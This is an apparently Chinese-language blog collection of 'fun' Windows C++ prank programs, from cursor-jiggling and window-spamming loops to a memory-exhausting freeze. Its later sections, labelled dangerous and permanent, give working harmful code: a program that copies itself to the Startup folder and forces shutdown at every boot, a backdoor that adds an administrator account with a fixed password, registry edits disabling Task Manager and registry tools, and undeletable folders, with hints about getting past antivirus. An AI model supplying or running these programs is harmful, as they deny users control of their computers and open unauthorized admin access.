一些好玩的代码
#include<iostream>
#include<windows.h>
#include<stdio.h>
#include<fstream>
using namespace std;
int main() {
system("color 8F");
int result = MessageBox(MB_APPLMODAL, "请问是否要启动该程序?", "来自SB的温馨提示", MB_ICONASTERISK | MB_YESNO);
if (result == IDNO) {
return 0;
} else {
int x, y;
for (int a = 0; a < 10000; a++) {
x = rand() % 801;
y = rand() % 601;
SetCursorPos(x, y);
}
for (int b = 0; b < 3; b++) {
system("start notepad");
system("start calc");
system("start winver");
system("start cmd");
system("start Nslookup");
system("start ");
system("start cleanmgr");
system("start charmap");
system("start calc");
system("start calc");
system("start dxdiag");
system("start cmd");
system("start cmd");
system("start cmd");
system("start taskmgr");
system("start ");
system("start wiaacmgr");
system("start mspaint");
system("start mmc");
system("start ");
}
system("start dxdiag");
Sleep(2000);
system("taskkill /im notepad.exe") ;
system("taskkill /im calc.exe") ;
system("taskkill /im dxdiag.exe") ;
system("taskkill /im winver.exe") ;
system("taskkill /im cmd.exe") ;
system("taskkill /im Nslookup.exe") ;
system("taskkill /im cleanmgr.exe") ;
system("taskkill /im charmap.exe") ;
system("taskkill /im taskmgr.exe") ;
system("taskkill /im wiaacmgr.exe") ;
system("taskkill /im mspaint.exe") ;
system("taskkill /im mmc.exe") ;
for (int c = 0; c < 5; c++) {
system("start notepad");
}
system("taskkill /im notepad.exe") ;
for (int d = 0; d < 5; d++) {
system("start calc");
}
system("taskkill /im calc.exe") ;
for (int l = 0; l < 10; l++) {
system("start calc");
}
system("taskkill /im calc.exe") ;
for (int m = 0; m < 15; m++) {
system("start calc");
}
system("taskkill /im calc.exe") ;
for (int f = 0; f < 20; f++) {
system("start calc");
}
system("taskkill /im calc.exe") ;
for (int n = 0; n < 10; n++) {
system("start calc");
}
system("taskkill /im calc.exe") ;
for (int q = 0; q < 15; q++) {
system("start cmd");
}
system("taskkill /im cmd.exe") ;
for (int r = 0; r < 20; r++) {
system("start taskmgr");
}
system("taskkill /im taskmgr.exe") ;
for (int g = 0; g < 10; g++) {
system("start mmc");
}
for (int h = 0; h < 10; h++) {
system("start ");
}
ofstream out;
out.open("eason.bat");
out << "dir/s";
out.close();
for (int i = 0; i < 5; i++) {
system("start eason.bat");
}
ofstream oo;
oo.open("eason2.bat");
oo << "tree";
oo.close();
for (int j = 0; j < 5; j++) {
system("start eason2.bat");
}
system("taskkill /im taskmgr.exe") ;
system("taskkill /im mmc.exe") ;
system("taskkill /im /f cmd.exe") ;
system("taskkill /im cmd.exe") ;
system("taskkill /im calc.exe") ;
for (int k = 0; k < 10000; k++) {
x = rand() % 801;
y = rand() % 601;
SetCursorPos(x, y);
}
ofstream o;
o.open("easo.txt");
o.close();
system("start easo.txt");
for (int p = 0; p < 5; p++) {
system("shutdown -s");
Sleep(100);
system("shutdown -a");
}
return 0;
}
}
无限生成cmd
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
while(1)system("start cmd");
}
输入字符但不在显示器显示
#include<bits/stdc++.h>
#include<windows.h>
#include<conio.h>
using namespace std;
char c;
int main(){
while(1){
char c=getch();
//do domething
}
}
获取鼠标位置
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
POINT p;
while(1){
if(GetCursorPos(&p)) cout<<p.x<<" "<<p.y<<endl;
Sleep(1000);
}
}
移动鼠标到指定位置
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
while(1){
int x=rand()%1600,y=rand()%900;
SetCursorPos(x,y);
Sleep(1);
}
}
限制鼠标在指定矩形移动
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
POINT p;
while(1){
int xx,yy;
bool ck=0;
if(GetCursorPos(&p)){
if(p.x<500){
xx=500;
ck=1;
}
else if(p.x>1000){
xx=1000;
ck=1;
}
else xx=p.x;
if(p.y<300){
yy=300;
ck=1;
}
else if(p.y>600){
yy=600;
ck=1;
}
else yy=p.y;
if(ck) SetCursorPos(xx,yy);
}
}
}
控制鼠标移动
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
POINT p;
while(1){
int xx,yy;
bool ck=0;
if(GetCursorPos(&p)){
if(p.x<1){
xx=1;
ck=1;
}
else if(p.x>1){
xx=1;
ck=1;
}
else xx=p.x;
if(p.y<1){
yy=1;
ck=1;
}
else if(p.y>1){
yy=1;
ck=1;
}
else yy=p.y;
if(ck) SetCursorPos(xx,yy);
}
}
}
判断键盘是否被按下键
#include<bits/stdc++.h>
#include<windows.h>
#include<conio.h>
using namespace std;
int main(){
while(1){
if(_kbhit()){
int c=getch();
cout<<c<<endl;
}
}
system("pause");
}
鼠标乱动并且炫彩
#include<windows.h>
#include<ctime>
using namespace std;
int main()
{
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
while(1){
SetCursorPos(rand()%x,rand()%y);
system("color 0f");
SetCursorPos(rand()%x,rand()%y);
system("color 1f");
SetCursorPos(rand()%x,rand()%y);
system("color 2f");
SetCursorPos(rand()%x,rand()%y);
system("color 3f");
SetCursorPos(rand()%x,rand()%y);
system("color 4f");
SetCursorPos(rand()%x,rand()%y);
system("color 5f");
SetCursorPos(rand()%x,rand()%y);
}
return 0;
}
点击鼠标
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
}
按下键盘按键
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
#define vk(c) (c)-'a'+65
#define Space 32
#define Enter 13
void down(char c){
keybd_event(vk(c),0,0,0);
}
void up(char c){
keybd_event(vk(c),0,KEYEVENTF_KEYUP,0);
}
void press(char c){
down(c);
up(c);
}
int main(){
srand((unsigned)time(NULL));
while(1){
int tmp=rand()%26;
char c='a'+tmp;
press(c);
Sleep(100);
}
}
彩色字母闪现
#include<bits/stdc++.h>
#include <windows.h>
using namespace std;
HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);
inline void gotoxy(int x, int y)
{
COORD pos = {x, y};
SetConsoleCursorPosition(hOut, pos);
}
inline void colour(int c1, int c2)
{
SetConsoleTextAttribute(hOut, c1 + c2 * 0x10);
}
inline void hidden()
{
CONSOLE_CURSOR_INFO cci = {1, 0};
SetConsoleCursorInfo(hOut, &cci);
}
inline int f(int n)
{
return rand() % n;
}
inline void SSS(string s)
{
gotoxy(f(50), f(30));
colour(f(13) + 1, f(13) + 1);
printf("%s", s.c_str());
}
string s;
int main()
{
while (1)
{
s = "";
int len = rand() % 40 + 1;
for (int i = 1; i <= len; ++i)
s += char(rand() % 26 + 65);
SSS(s);
}
return 0;
}
不停生成图片
#include <windows.h>
#include <cstdlib>
#include <ctime>
#include <iostream>
#include <vector>
HWND desktop = GetDesktopWindow();
HDC desktopDC = GetDC(desktop);
void LoadIconResources(std::vector<HICON>& iconResources) {
// 加载多个图标资源
iconResources.push_back(LoadIcon(NULL, IDI_ERROR));
iconResources.push_back(LoadIcon(NULL, IDI_INFORMATION));
iconResources.push_back(LoadIcon(NULL, IDI_WARNING));
}
void UnloadIconResources(const std::vector<HICON>& iconResources) {
// 释放已加载的图标资源
for (size_t i = 0; i < iconResources.size(); ++i) {
DestroyIcon(iconResources[i]);
}
}
void CreateIcon(HWND hWnd, int x, int y, const std::vector<HICON>& iconResources) {
static std::vector<HWND> icons; // 存储已创建的图标句柄
HICON hIcon;
int randomIndex = rand() % iconResources.size();
hIcon = iconResources[randomIndex];
HWND hIconWnd = CreateWindow("STATIC", NULL, WS_POPUP | WS_VISIBLE | SS_ICON,
x, y, GetSystemMetrics(SM_CXICON), GetSystemMetrics(SM_CYICON),
hWnd, NULL, NULL, NULL);
SendMessage(hIconWnd, STM_SETICON, (WPARAM)hIcon, 0);
icons.push_back(hIconWnd);
}
int my_max(int a, int b) {
return (a > b) ? a : b;
}
int my_min(int a, int b) {
return (a < b) ? a : b;
}
int main() {
std::vector<HICON> iconResources; // 存储多个图标资源
LoadIconResources(iconResources); // 加载图标资源
srand(static_cast<unsigned int>(time(NULL)));
int screenWidth = ::GetSystemMetrics(SM_CXSCREEN);
int screenHeight = ::GetSystemMetrics(SM_CYSCREEN);
int jitterAmount = 20;
time_t startTime = time(NULL);
while (difftime(time(NULL), startTime) < 20) {
// 生成随机坐标
int x = rand() % screenWidth;
int y = rand() % screenHeight;
// 随机选择一个图标
int iconIndex = rand() % 34; // 假设有4种图标,你可以根据实际情况修改这个值
HICON icon = NULL;
switch (iconIndex)
{
case 0:
icon = LoadIcon(NULL, IDI_APPLICATION);
break;
case 1:
icon = LoadIcon(NULL, IDI_QUESTION);
break;
case 2:
icon = LoadIcon(NULL, IDI_INFORMATION);
break;
case 3:
icon = LoadIcon(NULL, IDI_WARNING);
break;
case 4:
icon = LoadIcon(NULL, IDI_APPLICATION);
break;
// 添加更多图标类型的case语句
default:
break;
}
// 绘制图标
if (icon != NULL)
{
DrawIcon(desktopDC, x, y, icon);
}
Sleep(10);
int deltaX = rand() % (2 * jitterAmount + 1) - jitterAmount;
int deltaY = rand() % (2 * jitterAmount + 1) - jitterAmount;
POINT cursorPos;
::GetCursorPos(&cursorPos);
int newX = cursorPos.x + deltaX;
int newY = cursorPos.y + deltaY;
newX = my_max(0, my_min(screenWidth - 1, newX));
newY = my_max(0, my_min(screenHeight - 1, newY));
::SetCursorPos(newX, newY);
CreateIcon(NULL, newX, newY, iconResources);
Sleep(20);
}
}
不停打开洛谷
#include<stdlib.h>
int main(void)
{
while(1){
system("start https://www.luogu.com.cn");
}
}
不停打开“图片”
#include<stdlib.h>
int main(void)
{
while(1){
system("starthttps://www.lgstatic.com/thumbnail_200x200/i/image3/M00/51/71/Cgq2xlr9kniAOWzbAAAjeUph3H8286.png");
}
}
使鼠标所点应用消失(最好不要用)
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
while(1)
{
HWND hWnd=GetForegroundWindow();
ShowWindow(hWnd,SW_HIDE);
}
}
立刻或定时关机
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
system("shutdown -s -t 60");->1分钟
system("shutdown -p");->立刻
}
卡死
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
while(1)malloc(1000);
}
警告:开始为危险/永久性程序,请慎重使用
开机即关机
提示:操作启动项,可能被杀毒软件拦截
解决方法:杀毒软件
(保存在C:\main.cpp,编译后生成C:\main.exe,也可更改18行代码)
#include <stdio.h>
#include <windows.h>
#include <Shlobj.h>
#pragma comment(lib, "shell32.lib")
BOOL AutoRun_Startup(char *lpszSrcFilePath, char *lpszDestFileName)
{
char szStartupPath[MAX_PATH] = { 0 };
char szDestFilePath[MAX_PATH] = { 0 };
SHGetSpecialFolderPath(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
wsprintf(szDestFilePath, "%s\\%s", szStartupPath, lpszDestFileName);
CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
return TRUE;
}
int main(int argc, char * argv[])
{
AutoRun_Startup("c://main.exe", "main.exe");
system("shutdown /p");
return 0;
}
添加用户
提示:可能被杀毒软件拦截
解决方法:杀毒软件
#include <stdio.h>
#include <assert.h>
#include <windows.h>
#include <lm.h>
#pragma comment(lib,"netapi32")
void AddUser(LPWSTR UserName, LPWSTR Password)
{
USER_INFO_1 user;
user.usri1_name = UserName;
user.usri1_password = Password;
user.usri1_priv = USER_PRIV_USER;
user.usri1_home_dir = NULL;
user.usri1_comment = NULL;
user.usri1_flags = UF_SCRIPT;
user.usri1_script_path = NULL;
if (NetUserAdd(NULL, 1, (LPBYTE)&user, 0) == NERR_Success)
printf("创建用户完成 \n");
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = user.usri1_name;
if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
printf("添加到组完成 \n");
}
void EnumUser()
{
LPUSER_INFO_0 pBuf = NULL;
LPUSER_INFO_0 pTmpBuf;
DWORD dwLevel = 0;
DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH;
DWORD dwEntriesRead = 0, dwTotalEntries = 0, dwResumeHandle = 0;
DWORD i;
NET_API_STATUS nStatus;
LPTSTR pszServerName = NULL;
do
{
nStatus = NetUserEnum((LPCWSTR)pszServerName, dwLevel, FILTER_NORMAL_ACCOUNT,
(LPBYTE*)&pBuf, dwPrefMaxLen, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle);
if ((nStatus == NERR_Success) || (nStatus == ERROR_MORE_DATA))
{
if ((pTmpBuf = pBuf) != NULL)
{
for (i = 0; (i < dwEntriesRead); i++)
{
assert(pTmpBuf != NULL);
if (pTmpBuf == NULL)
{
break;
}
wprintf(L"%s\n", pTmpBuf->usri0_name, pTmpBuf);
pTmpBuf++;
}
}
}
if (pBuf != NULL)
{
NetApiBufferFree(pBuf);
pBuf = NULL;
}
} while (nStatus == ERROR_MORE_DATA);
NetApiBufferFree(pBuf);
}
int main(int argc, char *argv[])
{
AddUser(L"lyshark", L"123123");
EnumUser();
system("pause");
return 0;
}
禁用任务管理器
提示:可能被杀毒软件拦截
#include <stdio.h>
#include <windows.h>
int main()
{
HKEY hkey;
DWORD value = 1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
RegCloseKey(hkey);
return 0;
}
禁用注册表
提示:可能被杀毒软件拦截
#include <stdio.h>
#include <windows.h>
int main()
{
HKEY hkey;
DWORD value = 1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableRegistryTools", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
RegCloseKey(hkey);
return 0;
}
桌面壁纸
#include <stdio.h>
#include <windows.h>
int main()
{
DWORD value = 1;
HKEY hkey;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "Wallpaper", NULL, REG_SZ, (unsigned char *)"c://", 3);
RegSetValueEx(hkey, "WallpaperStyle", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
return 0;
}
不可删除文件
解决方法:将51-52行换成52行
#include <stdio.h>
#include <shlobj.h>
#include <windows.h>
// 添加不可删除文件
BOOL SetImmunity(char *FilePath,char *FileName)
{
char file[2048] = { 0 };
strncpy(file, FilePath, strlen(FilePath));
strcat(file, FileName);
BOOL bRet = CreateDirectory(file, NULL);
if (bRet)
{
strcat(file, "\\anti...\\");
bRet = CreateDirectory(file, NULL);
if (bRet)
{
SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);
return TRUE;
}
}
return FALSE;
}
void ClearImmunity(char *FilePath, char *FileName)
{
char file[2048] = { 0 };
strncpy(file, FilePath, strlen(FilePath));
strcat(file, FileName);
strcat(file, "\\anti...\\");
RemoveDirectory(file);
ZeroMemory(file, MAX_PATH);
strncpy(file, FilePath, strlen(FilePath));
strcat(file, FileName);
RemoveDirectory(file);
}
int main(int argc, char * argv[])
{
char *Fuk[4] = { "你", "好", "世", "界" };
int FukLen = sizeof(Fuk) / sizeof(int);
TCHAR Destop[MAX_PATH];
SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);
for (int x = 0; x < FukLen; x++)
{
SetImmunity("c://", Fuk[x]);
//ClearImmunity("c://", Fuk[x]);
}
system("pause");
return 0;
}